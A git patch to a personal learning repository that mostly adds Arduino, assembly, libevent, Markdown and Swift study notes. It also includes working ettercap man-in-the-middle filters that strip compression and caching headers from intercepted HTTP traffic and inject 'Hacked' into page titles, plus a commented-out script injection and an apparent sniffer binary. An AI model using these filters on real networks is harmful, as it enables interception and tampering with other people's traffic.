From 3332463f9de08d71eb194a714cff851985b89182 Mon Sep 17 00:00:00 2001 From: acevest Date: Sun, 15 Mar 2015 13:06:33 +0800 Subject: [PATCH] ... --- .../IR/InfraredReceiver/InfraredReceiver.ino | 30 +++++++ arduino/Sensors/Sensors.ino | 2 +- learn/asm/basic.txt | 16 ++++ learn/doc/ir.txt | 7 ++ learn/libevent/timer.c | 38 +++++++++ learn/markdown/extra_markdown.md | 64 +++++++++++++++ learn/markdown/index.md | 76 +++++++++++++++++- .../MyPlayground.playground/section-1.swift | 7 +- tools/hack/ettercap/filter.ef | Bin 0 -> 2010 bytes tools/hack/ettercap/normal.filter | 11 ++- tools/hack/ettercap/proxy.normal.filter | 34 ++++++++ tools/hack/netpeeper/netpeeper | Bin 0 -> 12012 bytes 12 files changed, 276 insertions(+), 9 deletions(-) create mode 100644 arduino/IR/InfraredReceiver/InfraredReceiver.ino create mode 100644 learn/asm/basic.txt create mode 100644 learn/doc/ir.txt create mode 100644 learn/libevent/timer.c create mode 100644 learn/markdown/extra_markdown.md create mode 100644 tools/hack/ettercap/filter.ef create mode 100644 tools/hack/ettercap/proxy.normal.filter create mode 100755 tools/hack/netpeeper/netpeeper diff --git a/arduino/IR/InfraredReceiver/InfraredReceiver.ino b/arduino/IR/InfraredReceiver/InfraredReceiver.ino new file mode 100644 index 0000000..231e047 --- /dev/null +++ b/arduino/IR/InfraredReceiver/InfraredReceiver.ino @@ -0,0 +1,30 @@ +//本例来自于红外接收模块的IRremote自带范例 +/* + * IRremote: IRrecvDemo - demonstrates receiving IR codes with IRrecv + * An IR detector/demodulator must be connected to the input RECV_PIN. + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * [url]http://arcfn.com[/url] + */ + +#include + +int RECV_PIN = 11;//定义红外接收器的引脚为11 +IRrecv irrecv(RECV_PIN); +decode_results results; + +void setup() +{ + Serial.begin(9600); + irrecv.enableIRIn(); // 初始化红外接收器 +} + +void loop() { + //Serial.println("HAHA"); + if (irrecv.decode(&results)) { + Serial.println(results.value, HEX);//以16进制换行输出接收代码 + Serial.println();//为了便于观看输出结果增加一个空行 + irrecv.resume(); // 接收下一个值 + } +} + diff --git a/arduino/Sensors/Sensors.ino b/arduino/Sensors/Sensors.ino index 5b6791e..10df6a8 100644 --- a/arduino/Sensors/Sensors.ino +++ b/arduino/Sensors/Sensors.ino @@ -18,7 +18,7 @@ void loop() { int hb = analogRead(2); // Human Body - if(hb < 10) + if(hb < 100) { hb = 0; } diff --git a/learn/asm/basic.txt b/learn/asm/basic.txt new file mode 100644 index 0000000..ff46abd --- /dev/null +++ b/learn/asm/basic.txt @@ -0,0 +1,16 @@ + +pushl %eax == subl $4, %esp + movl %eax, (%esp) + + +popl %eax == movl (%esp), %eax + addl $4, %esp + + + +enter pushl %ebp + movl %esp, %ebp + + +leave movl %ebp, %esp + popl %ebp diff --git a/learn/doc/ir.txt b/learn/doc/ir.txt new file mode 100644 index 0000000..924c296 --- /dev/null +++ b/learn/doc/ir.txt @@ -0,0 +1,7 @@ +电扇 IR NEC +807FE01F 风速 +807F32CD 静音 +807FF00F 风类 +807FC03F 开关 +807FD02F 定时 +807FF00F 摇头 diff --git a/learn/libevent/timer.c b/learn/libevent/timer.c new file mode 100644 index 0000000..12a6700 --- /dev/null +++ b/learn/libevent/timer.c @@ -0,0 +1,38 @@ +/* + * ------------------------------------------------------------------------ + * File Name: timer.c + * Author: Zhao Yanbai + * Sat Feb 28 17:03:43 2015 + * Description: none + * ------------------------------------------------------------------------ + */ +#include +#include +#include +#include + +struct event ev; +struct timeval tv; + +unsigned int cnt = 0; + +void time_cb(int fd, short event, void *argc) +{ + printf("timer woke up %u times\n", cnt++); + event_add(&ev, &tv); +} + +int main() +{ + struct event_base *base = event_init(); + + tv.tv_sec = 1; + tv.tv_usec= 0; + + evtimer_set(&ev, time_cb, NULL); + event_add(&ev, &tv); + + event_base_dispatch(base); + + return 0; +} diff --git a/learn/markdown/extra_markdown.md b/learn/markdown/extra_markdown.md new file mode 100644 index 0000000..2280509 --- /dev/null +++ b/learn/markdown/extra_markdown.md @@ -0,0 +1,64 @@ +#Extra MarkDown + +##H1 +xxxx | yyyy +----|---- +1 | 2 +3 |4 + + +You can specify column alignment with one or two colons: + +| Item | Value | Qty | +| :------- | ----: | :---: | +| Computer | $1600 | 5 | +| Phone | $12 | 12 | +| Pipe | $1 | 234 | + + + +### Footnotes + +You can create footnotes like this[^footnote]. + + [^footnote]: Here is the *text* of the **footnote**. + + + + ### MathJax + +You can render *LaTeX* mathematical expressions using **MathJax**, as on [math.stackexchange.com][1]: + +The *Gamma function* satisfying $\Gamma(n) = (n-1)!\quad\forall n\in\mathbb N$ is via the Euler integral + +$$ +\Gamma(z) = \int_0^\infty t^{z-1}e^{-t}dt\,. +$$ + + + +### UML diagrams + +You can also render sequence diagrams like this: + +```sequence +Alice->Bob: Hello Bob, how are you? +Note right of Bob: Bob thinks +Bob-->Alice: I am good thanks! +``` + +And flow charts like this: + +```flow +st=>start: Start +e=>end +op=>operation: My Operation +cond=>condition: Yes or No? + + +st->op->cond +cond(yes)->e +cond(no)->op +``` + + diff --git a/learn/markdown/index.md b/learn/markdown/index.md index 8bd5b3e..49cfd61 100644 --- a/learn/markdown/index.md +++ b/learn/markdown/index.md @@ -5,6 +5,8 @@ ######这是H5##### ######这是H6###### +#也可以这样写标题 + vxcvzdfdsf fsadfasdf sfasdf @@ -20,15 +22,60 @@ sfasdf > dsf > sadfasd +fssdff + + +> This is the first level of quoting. +> +> > This is nested blockquote. +> +> Back to the first level. + + + +> ## 这是一个标题。 +> +> 1. 这是第一行列表项。 +> 2. 这是第二行列表项。 +> +> 给出一些例子代码: +> +> return shell_exec("echo $input | $markdown_script"); 这是一个*强调*示例,这是另一个 _强调_ 示例 这是一个**加重强调**示例 或 __加重强调__ 这是一个***特别强调***示例 或 ___特别强调___ +如果两边都有空格的话 * 就会被当成普通符号 * + 这是个命令示例`echo "Hello World"` 输出什么? +* 列表A 1 +* 列表A 2 +* 列表A 3 + +-- + ++ 列表B 1 ++ 列表B 2 ++ 列表B 3 + +-- +- 列表C 1 +- 列表C 2 +- 列表C 3 + +-- + +1. 列表D 1 +2. 列表D 2 +3. 列表D 3 +4. 列表D 4 +5. 列表D 5 + +1986\. What a great season. ``` #include @@ -38,6 +85,11 @@ int main() { } ``` +如果要在代码区段内插入反引号,你可以用多个反引号来开启和结束代码区段: + +``There is a literal backtick (`) here.`` + + 以下是水平分割线 * * * 或 @@ -48,14 +100,30 @@ int main() { - - - 链接 -[Hello](http://www.qq.com) -or -[Tag][Link] -[Link]: http://www.qq.com "sfasd" +[Hello](http://www.qq.com) +or +[Tag][Link] +[Link]: http://www.qq.com "Optional Title" + +This is [an example](http://example.com/ "Title") inline link. +[This link](http://example.net/) has no title attribute. + + + +I get 10 times more traffic from [Google] [1] than from +[Yahoo] [2] or [MSN] [3]. + [1]: http://google.com/ "Google" + [2]: http://search.yahoo.com/ "Yahoo Search" + [3]: http://search.msn.com/ "MSN Search" +I get 10 times more traffic from [Google][] than from +[Yahoo][] or [MSN][]. + [google]: http://google.com/ "Google" + [yahoo]: http://search.yahoo.com/ "Yahoo Search" + [msn]: http://search.msn.com/ "MSN Search" diff --git a/learn/swift/MyPlayground.playground/section-1.swift b/learn/swift/MyPlayground.playground/section-1.swift index 56326af..b9e7e1c 100644 --- a/learn/swift/MyPlayground.playground/section-1.swift +++ b/learn/swift/MyPlayground.playground/section-1.swift @@ -60,7 +60,8 @@ else let word = "red apple" -switch word { -case "dd" : -} +//switch word { +//case "dd" : +//} + diff --git a/tools/hack/ettercap/filter.ef b/tools/hack/ettercap/filter.ef new file mode 100644 index 0000000000000000000000000000000000000000..4ea56e328c6fff026aee6a2122d45cdf277d3042 GIT binary patch literal 2010 zcmbVMJ4?e*82!?hRj7{&^^JCOX;fUKh)}fPgGRwo6eLY+pd<>J9Q*|i{sVu4y1I%} zM@Kgu918vhxyg4Ty>d;`v!v&q?|hG>_xrk8)i?At`bCL~TFo@AORrLQOt)z}ZIZYy zAAlRKcVRnio%UK4!*#4mbZ`k5>mt`ypEn|8~#nw4YQF)d;4Kk*avABiN=NzihY zpXj(shCf=BHa*+xSX+3W?AEpq>N}@Pq~TShH5w+O9C!rstd}C7$c&|lK~j(YHSW7dNY^Sw#FcZmbxts8KkEg(@$g!M9FnE5M)U)SW^iu+ literal 0 HcmV?d00001 diff --git a/tools/hack/ettercap/normal.filter b/tools/hack/ettercap/normal.filter index 3434524..f045ff3 100644 --- a/tools/hack/ettercap/normal.filter +++ b/tools/hack/ettercap/normal.filter @@ -1,5 +1,6 @@ if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { + msg("Accept-Encoding.\n"); replace("Accept-Encoding", "Accept-Nothing."); } @@ -10,6 +11,11 @@ if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "If-Modified-Since")) { replace("If-Modified-Since", "No-Modified-Since"); } + + if (search(DATA.data, "Accept: */*")) { + msg("Accept.\n"); + replace("Accept: */*", "Nccept: */*"); + } } if (ip.proto == TCP && tcp.src == 80) { @@ -17,5 +23,8 @@ if (ip.proto == TCP && tcp.src == 80) { } if (ip.proto == TCP && tcp.src == 80) { - replace("", "<title>Hacked"); + if (search(DATA.data, "<title>")) { + replace("<title>", "<title>Hacked"); + msg("Replaced Title.\n"); + } } diff --git a/tools/hack/ettercap/proxy.normal.filter b/tools/hack/ettercap/proxy.normal.filter new file mode 100644 index 0000000..272cfc4 --- /dev/null +++ b/tools/hack/ettercap/proxy.normal.filter @@ -0,0 +1,34 @@ +if (ip.proto == TCP && tcp.dst == 80 || tcp.dst == 8080 ) { + if (search(DATA.data, "Accept-Encoding")) { + msg("Accept-Encoding."); + replace("Accept-Encoding", "Accept-Nothing."); + } + + if (search(DATA.data, "If-None-Match")) { + msg("If-None-Match."); + replace("If-None-Match", "No-None-Match"); + } + + if (search(DATA.data, "If-Modified-Since")) { + msg("If-Modified-Since."); + replace("If-Modified-Since", "No-Modified-Since"); + } + + if (search(DATA.data, "Accept:")) { + msg("Accept."); + replace("Accept:", "Nccept:"); + } +} + +if (ip.proto == TCP && tcp.src == 80 || tcp.src == 8080) { + #replace("keep-alive", "close"); + #if (search(DATA.data, "<title>")) { + replace("<title>", "<title>[HACKED] "); + # msg("Replaced Title."); + #} + #if (search(DATA.data, "<body>")) { + # replace("<body>", "<script>document.write(document.cookie)</script><body>Hacked.<br>"); + # msg("Replaced Body."); + #} +} + diff --git a/tools/hack/netpeeper/netpeeper b/tools/hack/netpeeper/netpeeper new file mode 100755 index 0000000000000000000000000000000000000000..834bed95849fcc6a3590fe757740cf57aab52551 GIT binary patch literal 12012 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 literal 0 HcmV?d00001 -- 2.47.0